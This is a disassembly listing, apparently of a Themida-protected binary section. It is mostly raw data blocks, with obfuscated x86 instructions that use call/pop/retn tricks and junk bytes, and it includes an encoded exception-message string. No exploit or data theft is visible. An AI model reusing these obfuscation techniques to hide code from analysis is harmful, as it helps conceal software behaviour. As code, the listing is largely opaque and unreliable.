		dd 11E8006Ah, 90000000h, 0AAC28527h, 0E02B42Bh,	43EB4A0Fh
		dd 97990A3Dh, 5F3BE280h, 0E8F8006Ah, 6,	0A0298CDh, 0FE927E8h
		dd 0FE000000h, 0AFA342A2h, 6296A28Ah, 0E05ECA82h, 8D5FD1E6h
		dd 0D4257685h, 50D38B07h, 80F5B966h, 3160016Ah,	0D10BF59Dh
		dd 16A6107h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	99C35242h, 0F5589730h, 60016A28h, 0C2D9533h, 686107D1h
		dd 0F01FFh, 83C4E580h, 0D11E11BDh, 840F0007h, 3Ch, 8DD0B70Fh
		dd 0D423F585h, 0F18D8B07h, 0E907D113h, 5Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CEC35141h, 0A0D7D903h
		dd 8589ED71h, 7D1154Dh,	23CB858Dh, 6A07D4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 6F8FA2C3h
		dd 501D756Eh, 29277426h, 0D12D998Dh, 4CE58007h,	0F2816650h
		dd 0BF0F1F14h, 6A50FBh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 34AA45C3h, 5E9h,	0A86B1700h, 0B5FF9EC6h
		dd 7D42398h, 0FFFE8B66h, 0D4238495h, 13E907h, 7EF40000h
		dd 5A762F56h, 5BC954A5h, 666A67D0h, 0ECE94015h,	0FC085E6h
		dd 2185h, 0D2C78100h, 0E9746B5Bh, 51h, 11E9h, 0DC032300h
		dd 75415A4Ah, 0D74EB5A6h, 0BE51FFh, 85896350h, 7D4239Ch
		dd 22B5BD8Bh, 0B70F07D1h, 9CB5FFF8h, 6607D423h,	727F181h
		dd 1BF595FFh, 800F07D1h, 6, 2DB18589h, 0C08507D1h, 7850Fh
		dd 860F0000h, 1, 80106AFCh, 0BD8354EAh,	7D11E11h, 22840F00h
		dd 8B000000h, 0D111558Dh, 0DBC6B907h, 858D41CEh, 7D423F5h
		dd 2C11958Bh, 37E907D1h, 89000000h, 0D11AF995h,	0CB858D07h
		dd 6A07D423h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 2D45C355h, 78AFE186h, 93FA93A9h
		dd 67D0EF81h, 0E9502757h, 8, 5B7F58F1h,	6F54737Eh, 2398B5FFh
		dd 6A07D4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0F89E4DC3h, 8901E160h, 13E9h, 4A538000h
		dd 0DE6A8FF7h, 3FBA4F56h, 0CB7D5B54h, 0BFED3A33h, 0FF14D680h
		dd 0D4239095h, 0F8BF0F07h, 213DB589h, 0C08507D1h, 850Fh
		dd 85890000h, 7D4239Ch,	12E9h, 3C1C6F00h, 0E9C702EFh, 0A9010129h
		dd 0FCF2A1FAh, 6A26B4BFh, 558D2300h, 6A07D132h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 50017634h, 89B589BAh, 0FF07D106h, 0D4239CB5h, 7FA4B907h
		dd 95FF75F0h, 7D42388h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0F8C35747h, 75CEE215h, 0BE87Dh, 1BF20000h
		dd 54F1C7DAh, 6931BC25h, 0D6BF0FD1h, 0FC0855Fh,	285h, 0FFD5B200h
		dd 0D4239CB5h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0C6DFEA31h, 7933202Bh
		dd 8BF2D980h, 0F595FFD6h, 6A07D11Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0DD71C355h
		dd 1E3C9D7Eh, 0D6B70F0Bh, 850FC085h, 6,	3179958Bh, 6A07D1h
		dd 8830Fh, 1600000h, 0D1111585h, 80686107h, 89000000h
		dd 0D123918Dh, 2BF18107h, 6A6651CBh, 6AF803h, 59858B60h
		dd 6107D12Ah, 8B66006Ah, 0D8D31D1h, 6807D132h, 0C0000000h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EFC35646h
		dd 0ECDA1E3Dh, 0E8A27FA9h
		dd 9, 0F98AF41Ah, 52DD3D7Ch, 68D0F5Eh, 0F000000h, 8Ah
		dd 0B5FF5A00h, 7D42414h, 29B25050h, 95FF595Ah, 7D11A79h
		dd 0D83ABA66h, 837AC980h, 850FFFF8h, 495h, 13E9h, 83638500h
		dd 0D290714Dh, 4F618821h, 435AFC9Fh, 3A30C622h,	2E8285FFh
		dd 0BD8B07D4h, 7D116E9h, 2E82BD83h, 0F0207D4h, 39984h
		dd 0F2816000h, 589CB57Bh, 18558589h, 8D6107D1h,	5B243B85h
		dd 7DBD8B00h, 0E807D11Eh, 14h, 0A7004B2Bh, 0D26B51A2h
		dd 0E6FF763Ah, 8CEFE606h, 0C9040411h, 830F60h, 66000000h
		dd 1611F181h, 0D0FF5961h, 8E858DFCh, 6A005B1Eh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0FF3DC352h, 0D8D89D0h, 8B07D114h, 88D0FC0h, 52000000h
		dd 25658D03h, 0F5A07D1h, 0BD83F9BFh, 7D13405h, 83097500h
		dd 0D12849BDh, 19740007h, 0C08B5350h, 7D8B8h, 0D5858900h
		dd 8D07D113h, 0D3E1B09Dh, 5BD3FF07h, 49BD8358h,	7D128h
		dd 53501774h, 7D8B8h, 0D5858900h, 8D07D113h, 0D3DE9F9Dh
		dd 5BD3FF07h, 0BD8D8B58h, 0F07D122h, 68Eh, 2AE28100h, 6A39E999h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0D3B2C353h, 66C08B0Dh, 683226BAh,	0F003Fh
		dd 0F8E0Fh, 0E9560000h,	8, 0C3EF83A5h, 0E09D9A56h, 0F9006A59h
		dd 0BD8B006Ah, 7D12D79h, 0D195FFh, 0B70F07D1h, 8BC085CAh
		dd 988589D0h, 0F507D423h, 0F01FF68h, 0CC05B900h, 0BD833A01h
		dd 7D11E11h, 5C840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 935FC356h
		dd 204F1C50h, 2EE5958Bh, 858D07D1h, 7D423F5h, 13FCD981h
		dd 30E90659h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 7D2C353h, 0AB84962h
		dd 8DCAB6B6h, 0D423CB85h, 0D98D0107h, 5007D113h, 48D0Fh
		dd 0BA660000h, 0B5FF4121h, 7D42398h, 8E9h, 853C1200h, 8EC48009h
		dd 0AE94Fh, 0AD920000h,	9BB6B9CFh, 33A11D8Ch, 239095FFh
		dd 0EE907D4h, 0F1000000h, 5D445FD6h, 69B1DD02h,	0AA53E051h
		dd 9C8589D2h, 8907D423h, 0D10EE595h, 3185C707h,	7D107h
		dd 60000000h, 6810Fh, 0E6810000h, 7E6B12A6h, 0BFF08166h
		dd 0F506115h, 58Dh, 0DA816600h,	835FD36Bh, 0D4239CBDh
		dd 840F0007h, 14Bh, 0FBC28166h,	7A858D95h, 8A07D426h, 816650CEh
		dd 6AE99EC7h, 14E901h, 320E0000h, 0B8B8F71Dh, 0BE668513h
		dd 0B8B5C0CFh, 83E58B66h, 8D8B6AAFh, 7D13391h, 239CB5FFh
		dd 9D2907D4h, 7D11E29h,	239495FFh, 0D1BA07D4h, 0FF241AC7h
		dd 0D4239CB5h, 0FFD08B07h, 0D11BF595h, 13E95707h, 3F000000h
		dd 0E9A13368h, 8AB8C973h, 9A7E50C5h, 0F9E6B835h, 6859F120h
		dd 0F01FFh, 31859589h, 0BD8307D1h, 7D11E11h, 46840F00h
		dd 0F000000h, 682h, 298D8B00h, 8D07D12Ch, 0D423F585h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 67DC8E93h, 0BF0F30F6h, 98D8BD2h, 0E907D11Eh,	11h, 66E18166h
		dd 0CB858D97h, 8B07D423h, 0D10F15BDh, 0B70F5007h, 658D89C9h
		dd 0FF07D117h, 0D42398B5h, 498D8B07h, 0FF07D133h, 0D4239095h
		dd 9C858907h, 8907D423h, 0D12915BDh, 59D3107h, 0FF07D120h
		dd 0D4239CB5h, 0FFD4B507h, 0D4238C95h, 0CA8B6607h, 0DE8h
		dd 0DF60D600h, 18D6403Ch, 8D2F53D3h, 0BD8B2FFDh, 7D133DDh
		dd 9CB5FF59h, 6607D423h, 0FF7938B9h, 0D11BF595h, 9858907h
		dd 0E907D10Fh, 0FFFFF65Ah, 2CEDBD8Bh, 0B5FF07D1h, 7D42EE5h
		dd 95FFBDB6h, 7D11801h,	15858D0Bh, 858B07D1h, 7D11119h
		dd 0ECEA8166h, 618E9F8h, 0BD8B0000h, 7D113B1h, 269AB58Dh
		dd 0B58907D4h, 7D12E7Dh, 0D40F858Dh, 6A07D3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 9C5B55C3h
		dd 34BB029Bh, 0D0FFCE8Bh, 13E9h, 1FC4EF00h, 0CE0FB28Ah
		dd 63F27E78h, 6218CF86h, 0B25D74E4h, 9D2B6060h,	7D126A5h
		dd 79BD3361h, 6107D123h, 8D8B006Ah, 7D12D69h, 309195FFh
		dd 8B5707D1h, 81665FC8h, 8B4599E2h, 0A99589F3h,	8D07D128h
		dd 0D3D40F85h, 7DD5BF07h, 0D0FF3371h, 6AFEBF0Fh, 759D8900h
		dd 0FF07D129h, 0D1309195h, 0A8BA6607h, 60C08B9Eh, 0DE9h
		dd 2323CC00h, 1ECF5C28h, 7B49F7B4h, 0CF818E6Ch,	35CD9E39h
		dd 5BD8361h, 7D134h, 0BD830975h, 7D12849h, 50197400h, 0B8C08B53h
		dd 7D9h, 13D58589h, 9D8D07D1h, 7D3E1B0h, 585BD3FFh, 2849BD83h
		dd 740007D1h, 0B8535017h, 7D9h,	13D58589h, 9D8D07D1h, 7D3DE9Fh
		dd 585BD3FFh, 0D4AD89BFh, 4D958B49h, 8B07D11Dh,	0D2C181C0h
		dd 5069AF13h, 0AE9h, 823D0B00h,	0F50D4ECBh, 8B45ABCBh
		dd 1D8D89D8h, 8907D121h, 0D13449B5h, 9D8D5307h,	7D11D71h
		dd 389038Bh, 8950438Bh,	9D8D5043h, 7D42E7Eh, 389038Bh
		dd 846BF5Bh, 23525978h,	0D113F995h, 6A5F07h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DBC35141h, 0FE08E8Fh
		dd 58Eh, 0E78CB900h, 0D68B569Ch, 2E7E858Dh, 6A07D4h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0A12CCCC3h, 10D1F7ACh, 19820F83h, 0E9000000h, 14h, 5EB6E2EDh
		dd 0B9E0B7B4h, 6410DC31h, 0BC268830h, 0D9C73288h, 0DE950h
		dd 0DA30000h, 61FA69F8h, 0D7574409h, 6A57B9DEh,	51006A60h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0E28AEF54h, 0EA81533Dh, 317FA319h, 1D2D958Bh, 858D07D1h
		dd 7D11D71h, 0AE9h, 4E452A00h, 0CCC2327h, 50FC91B2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0BEC35242h, 0E6AC7ACBh
		dd 5B0330E5h, 9E8h, 0D486A600h,	0F303C862h, 52BF4E99h
		dd 5A7D2756h, 8D2B006Ah, 7D128F1h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0E5B396C3h
		dd 0DE88D87Bh, 14E9E4h,	8CE0000h, 8332ECD5h, 0E63EAC12h
		dd 0D1A227D7h, 7F182295h, 68911Bh, 66000018h, 2C53D281h
		dd 53C88B66h, 591BB257h, 248D95FFh, 28B207D1h, 270995FFh
		dd 13BF07D1h, 29303CA1h, 0D10C2D9Dh, 0E5B5FF07h, 6A07D42Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 2E6CC351h, 50083CBAh, 0CE902h, 88190000h
		dd 9A632649h, 37B4DE58h, 95FFBA13h, 7D11801h, 68C0Fh, 8D230000h
		dd 7D124F9h, 1D71858Dh,	6A07D1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 67039CC3h, 8BE563A7h
		dd 0F6801840h, 0D985C717h, 7D116h, 31000000h, 0D12F158Dh
		dd 11BD8307h, 7D11Eh, 4D840Fh, 7E90000h, 0E0000000h, 0A575664Ah
		dd 8C3D6325h, 0F000000h, 19883h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 543FBA4Fh
		dd 458D895Bh, 6607D120h, 0FF96F181h, 14E9h, 95EF8100h
		dd 3D4FCF94h, 98h, 157830Fh, 8B660000h,	3B858DCEh, 66005B24h
		dd 0FF93D1BAh, 4F35BAD0h, 858D11FAh, 5B1E8Eh, 0DD8D8Bh
		dd 0D0FF07D1h, 8BACC680h, 75958BC0h, 8307D105h,	0D13405BDh
		dd 9750007h, 2849BD83h,	740007D1h, 8B535019h, 0BC6B8C0h
		dd 85890000h, 7D113D5h,	0E1B09D8Dh, 0D3FF07D3h,	0BD83585Bh
		dd 7D12849h, 50177400h,	0BC6B853h, 85890000h, 7D113D5h
		dd 0DE9F9D8Dh, 0D3FF07D3h, 0BD8B585Bh, 7D122D9h, 1BD2350h
		dd 5907D125h, 0BA66C08Bh, 0F8832C6Eh, 7C850FFFh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0F78CC356h, 72EA5231h, 51A64908h,	10E8h
		dd 67A3BA00h, 6BAB2107h, 886B377Ch, 0FA2A381Bh,	0FE9A4h
		dd 16050000h, 0EF93AC5Dh, 0ED1DA093h, 0C7D2298h, 81665AEDh
		dd 0C70D7DCFh, 0D1289585h, 7, 58A0F00h,	66000000h, 0F1ABF781h
		dd 0E9E9h, 0F9BD2300h, 0E907D133h, 3Eh,	83F3E180h, 850F01F8h
		dd 32h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
		dd 8EC35242h, 414DD3F2h, 34C7266h, 0E2E6BF57h, 3E97B33h
		dd 66000001h, 13E9FA8Bh, 89FFFFF1h, 0D13329B5h,	8BC08B07h
		dd 0D11D698Dh, 5BD8307h, 7D134h, 0BD830975h, 7D12849h
		dd 50197400h, 0B8C08B53h, 7DDh,	13D58589h, 9D8D07D1h, 7D3E1B0h
		dd 585BD3FFh, 2849BD83h, 740007D1h, 0B8535017h,	7DDh, 13D58589h
		dd 9D8D07D1h, 7D3DE9Fh,	585BD3FFh, 5E9958Bh, 8B0F07D1h
		dd 5, 0F3D98166h, 6AC08B7Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 59C5C355h, 816646C7h
		dd 0E9B1F0EFh, 23Ah, 3F18D8Bh, 858D07D1h, 7D42C82h, 3391B529h
		dd 858907D1h, 7D42E7Ah,	1BA59D89h, 7DE907D1h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0DD05C357h, 8E860h, 25050000h, 75C2BE03h
		dd 0AE8C1D9h, 0AE000000h, 4D20C59Ah, 6F0043C0h,	815E5E49h
		dd 0E77568D2h, 858D6151h, 7D42A8Ah, 6890Fh, 0B5310000h
		dd 7D10845h, 52006A40h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 7A8589CDh, 0BA07D42Eh, 131FF5F3h
		dd 858D346Ah, 7D12621h,	7AB5FF50h, 6A07D42Eh, 0A995FF00h
		dd 8307D11Ah, 840F07F8h, 168h, 0F6DB8C66h, 850F04C3h, 102h
		dd 31B585C6h, 685607D1h, 9CA8B852h, 1CC9B5FFh, 858D07D1h
		dd 7D13B01h, 46AD0FFh, 100068h,	6A646A00h, 89D0FF00h, 0D42EED85h
		dd 0B585C607h, 4707D131h, 18AC9B68h, 0C9B5FFECh, 8D07D11Ch
		dd 0D13B0185h, 0FFD0FF07h, 0C6F08BD0h, 0D131B585h, 61684F07h
		dd 0FFC62F26h, 0D12D09B5h, 1858D07h, 0FF07D13Bh, 0E99D8DD0h
		dd 5307D42Eh, 0FF56286Ah, 75C085D0h, 0B585C600h, 4107D131h
		dd 87649868h, 9B5FFDBh,	8D07D12Dh, 0D13B0185h, 89D0FF07h
		dd 0D42F0685h, 0B585C607h, 4C07D131h, 0A4E7A468h, 9B5FF80h
		dd 8D07D12Dh, 0D13B0185h, 8BD0FF07h, 0D42EED9Dh, 45B8D07h
		dd 0F29D8D53h, 5307D42Eh, 0D0FF006Ah, 2EED9D8Bh, 3C707D4h
		dd 1, 20C43C7h,	8B000000h, 0D10F799Dh, 0B185C707h, 7D10Fh
		dd 6A000000h, 6A006A00h, 0ED9D8B00h, 5307D42Eh,	0B5FF006Ah
		dd 7D42EE9h, 2F0695FFh,	85C607D4h, 7D131B5h, 0F7976845h
		dd 0B5FF92A5h, 7D130F9h, 3B01858Dh, 0D0FF07D1h,	26A006Ah
		dd 8C66D0FFh, 4C3F6DBh,	9D8B3275h, 7D42EEDh, 0C43C7h, 6A000000h
		dd 8B006A00h, 0D42EED9Dh, 6A5307h, 2EE9B5FFh, 95FF07D4h
		dd 7D42F06h, 2EE9B5FFh,	95FF07D4h, 7D12709h, 95FF006Ah
		dd 7D13091h, 7819501h, 0BA6607D1h, 858D03EDh, 7D463D6h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 35C35747h
		dd 0FE11B966h, 0C5BD8950h, 6407D133h, 35FFh, 85890000h
		dd 7D100A1h, 258964h, 66000000h, 0BD83D78Bh, 7D12AA1h
		dd 50840F00h, 0E9000000h, 10h, 9BF6500Dh, 3C8384CCh, 0CE08C104h
		dd 8FABE523h, 1715BD83h, 0F0107D1h, 2E85h, 959D3100h, 8007D11Fh
		dd 0D43306BDh, 850F0007h, 1Bh, 14599533h, 0BA6007D1h, 2BCF5CCEh
		dd 16BA6656h, 0E9615848h, 135h,	3374CA80h, 6D8D89DBh, 3307D10Ch
		dd 66EA8AC0h, 0F40CB8Bh, 640B073Fh, 58Fh, 0C4830000h, 0ABC8B904h
		dd 0EFB536E1h, 0FFFFB83h, 3084h, 69BD8B00h, 0E907D102h
		dd 0EFh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0E1C35343h, 966C438Ch, 0BD939A44h, 6FE9ECh, 0F600000h
		dd 61F8FEB7h, 0C244C8Bh, 0A481C7h, 0FFFF0000h, 8183FFFFh
		dd 0B8h, 0C3C03304h, 0C245C8Bh,	0E855h,	815D0000h, 0D463F8EDh
		dd 0B8838B07h, 8D000000h, 0D4649F85h, 0B8838907h, 5D000000h
		dd 60C3C033h, 0E7D28166h, 6810F89h, 8B000000h, 0D107C9B5h
		dd 810F6107h, 6, 1F359529h, 8E0F07D1h, 5, 8BE28166h, 0EE858DC1h
		dd 5007D463h, 3385BD8Bh, 505A07D1h, 6ECF8166h, 35FF6454h
		dd 0
		dd 2079BD33h, 896407D1h, 25h, 0C1B58900h, 0B907D12Ah, 0Ah
		dd 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h,	34B640h
		dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h,	0D12A1985h
		dd 107h, 58F6400h, 0
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[ebp+7D12DEDh],	esi
		jmp	loc_5BCAF9
; ---------------------------------------------------------------------------
		dw 405Dh
		dd 126661E1h
		db 11h
; ---------------------------------------------------------------------------


loc_5BCAF9:				; CODE XREF: Themida_:005BCAEDj
		mov	ecx, [ebp+7D133ADh]
		mov	eax, eax
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5BCB13
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5BCB2C


loc_5BCB13:				; CODE XREF: Themida_:005BCB08j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+7D12011h],	eax
		lea	ebx, [ebp+7D3E217h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5BCB2C:				; CODE XREF: Themida_:005BCB11j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5BCB4C
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+7D12011h],	eax
		lea	ebx, [ebp+7D3DEB8h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5BCB4C:				; CODE XREF: Themida_:005BCB33j
		and	ecx, [ebp+7D133B9h]
		jo	loc_5BCB5E
		mov	edi, [ebp+7D12EF5h]


loc_5BCB5E:				; CODE XREF: Themida_:005BCB52j
		push	0
		push	ecx
		call	sub_5BCB69
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCB69	proc near		; CODE XREF: Themida_:005BCB61p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5BCB69	endp

; ---------------------------------------------------------------------------
		db 0Fh,	0C3h, 0E9h
		dd 0Eh,	0ED057B10h, 116D8F10h, 29B0C9DBh, 0C08BB3CAh, 147E9h
		dd 400h, 392E3100h, 3031h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 1139BD83h, 0F0007D1h
		dd 12D84h, 0CF858D00h, 5007D3DCh, 0DC39858Dh, 685007D3h
		dd 80000001h, 0DCDF95FFh, 858D07D3h, 7D46557h, 61858D50h
		dd 5007D465h, 6A006Ah, 0DC4D858Dh, 0FF5007D3h, 0D3DCCFB5h
		dd 6995FF07h, 8D07D134h, 0D4655785h, 858D5007h,	7D46565h
		dd 6A006A50h, 5F858D00h, 5007D3DCh, 0DCCFB5FFh,	95FF07D3h
		dd 7D13469h, 6557858Dh,	8D5007D4h, 0D4657185h, 6A5007h
		dd 858D006Ah, 7D3DCACh,	0CFB5FF50h, 0FF07D3DCh,	0D1346995h
		dd 57858D07h, 5007D465h, 6579858Dh, 6A5007D4h, 8D006A00h
		dd 0D3DCCA85h, 0B5FF5007h, 7D3DCCFh, 346995FFh,	858D07D1h
		dd 7D46557h, 75858D50h,	5007D465h, 6A006Ah, 0DCB3858Dh
		dd 0FF5007D3h, 0D3DCCFB5h, 6995FF07h, 8D07D134h, 0D4655785h
		dd 858D5007h, 7D46569h,	6A006A50h, 0BB858D00h, 5007D3DCh
		dd 0DCCFB5FFh, 95FF07D3h, 7D13469h, 6557858Dh, 8D5007D4h
		dd 0D4656D85h, 6A5007h,	858D006Ah, 7D3DCC2h, 0CFB5FF50h
		dd 0FF07D3DCh, 0D1346995h, 0CFB5FF07h, 0FF07D3DCh, 0D129D995h
		dd 0A2E907h, 0BD830000h, 7D12335h, 95840F00h, 83000000h
		dd 0D11715BDh, 850F0007h, 11h, 915958Bh, 0C28107D1h, 1CF8h
		dd 0FE9h, 71958D00h, 8B07D11Dh,	0C2813452h, 3BD4C340h
		dd 20219589h, 0BD8307D1h, 7D12021h, 55840F00h, 8B000000h
		dd 0D120219Dh, 4CC38307h, 8589038Bh, 7D46561h, 20219D8Bh
		dd 0C38307D1h, 89038B50h, 0D4656585h, 219D8B07h, 8307D120h
		dd 38B54C3h, 65718589h,	9D8B07D4h, 7D12021h, 8B58C383h
		dd 75858903h, 8B07D465h, 0D120219Dh, 5CC38307h,	8589038Bh
		dd 7D46569h, 1139BD83h,	0F0007D1h, 0D85h, 35BD8300h, 7D123h
		dd 68840Fh, 0B5FF0000h,	7D46579h, 656DB5FFh, 0B5FF07D4h
		dd 7D46569h, 6575B5FFh,	0B5FF07D4h, 7D46571h, 6565B5FFh
		dd 0B5FF07D4h, 7D46561h, 655B858Dh, 8D5007D4h, 0D4659385h
		dd 858D5007h, 7D10CCDh,	0B595FF50h, 8307D100h, 406A24C4h
		dd 657D858Dh, 8D5007D4h, 0D10CCD85h, 6A5007h, 1AA995FFh
		dd 16A07D1h, 309195FFh,	0C18B07D1h, 0FE8h, 0F13C7E00h
		dd 0C5DB623h, 5A0DA5CDh, 87D206CAh, 0D4DF8166h,	0F18B59DAh
		dd 5AF6C181h, 0CA810000h, 36493C89h, 168668h, 5E900h, 0C4FD0000h
		dd 58AC4235h, 31FF5F53h, 5BCFF680h, 6880Fh, 8A0F0000h
		dd 0
; ---------------------------------------------------------------------------
		xor	ebx, 3DDD6352h
		adc	dx, 4BB2h
		add	ebx, 44C947Bh
		mov	si, bx
		add	ebx, 10FD15DFh
		push	ebx
		push	edi
		sbb	esi, 560C27A0h
		pop	edi
		pop	dword ptr [ecx]
		jmp	loc_5BCFBF
; ---------------------------------------------------------------------------
		dw 258Fh
; ---------------------------------------------------------------------------
		add	eax, 0F40B8617h
		inc	ebp
		sub	[esi], bl
		fild	qword ptr [edx+4Eh]


loc_5BCFBF:				; CODE XREF: Themida_:005BCFADj
		sub	ecx, 4
		movsx	edx, ax
		sub	eax, 1
		jnz	loc_5BCFFA
		jmp	loc_5BCFE3
; ---------------------------------------------------------------------------
		dw 0EB7Fh
		dd 0C3F3ED26h, 1CD14BBAh
		db 0FEh, 9Ch, 0ECh
; ---------------------------------------------------------------------------


loc_5BCFE3:				; CODE XREF: Themida_:005BCFD1j
		jmp	loc_5BD023
; ---------------------------------------------------------------------------
		dd 0D76F2ED1h, 4C81B866h, 0C2050EF8h, 89315C2Ah
		db 0C6h, 0ADh
; ---------------------------------------------------------------------------


loc_5BCFFA:				; CODE XREF: Themida_:005BCFCBj
		call	near ptr loc_5BD006+6
		out	dx, eax
		fiadd	word ptr [ecx+4BE5033Ah]


loc_5BD006:				; CODE XREF: Themida_:loc_5BCFFAp
		jmp	far ptr	8BB6h:785661F1h
; ---------------------------------------------------------------------------
		db 0FEh, 5Fh, 0E9h
		dd 0FFFFFF62h, 25E81835h, 10EE7208h, 0A2048746h
		db 40h,	0BCh, 82h
; ---------------------------------------------------------------------------


loc_5BD023:				; CODE XREF: Themida_:loc_5BCFE3j
		pusha
		push	0
		push	eax
		call	sub_5BD02F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD02F	proc near		; CODE XREF: Themida_:005BD027p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5BD02F	endp

; ---------------------------------------------------------------------------
		db 44h
		db 8Bh,	0C0h
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5BD04D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD04D	proc near		; CODE XREF: Themida_:005BD045p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5BD04D	endp

; ---------------------------------------------------------------------------
		mul	dword ptr ds:5BD83FDh
		xor	al, 0D1h
		pop	es
		add	[ebp+9], dh
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5BD08B
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3E1B0h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5BD08B:				; CODE XREF: Themida_:005BD070j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5BD0AB
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3DE9Fh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5BD0AB:				; CODE XREF: Themida_:005BD092j
		push	0
		push	ecx
		call	sub_5BD0B6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD0B6	proc near		; CODE XREF: Themida_:005BD0AEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5BD0B6	endp

; ---------------------------------------------------------------------------
		dec	edi
		jle	short locret_5BD0E8
		sub	cx, 0F8DAh
		push	0
		push	ecx
		call	sub_5BD0D9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



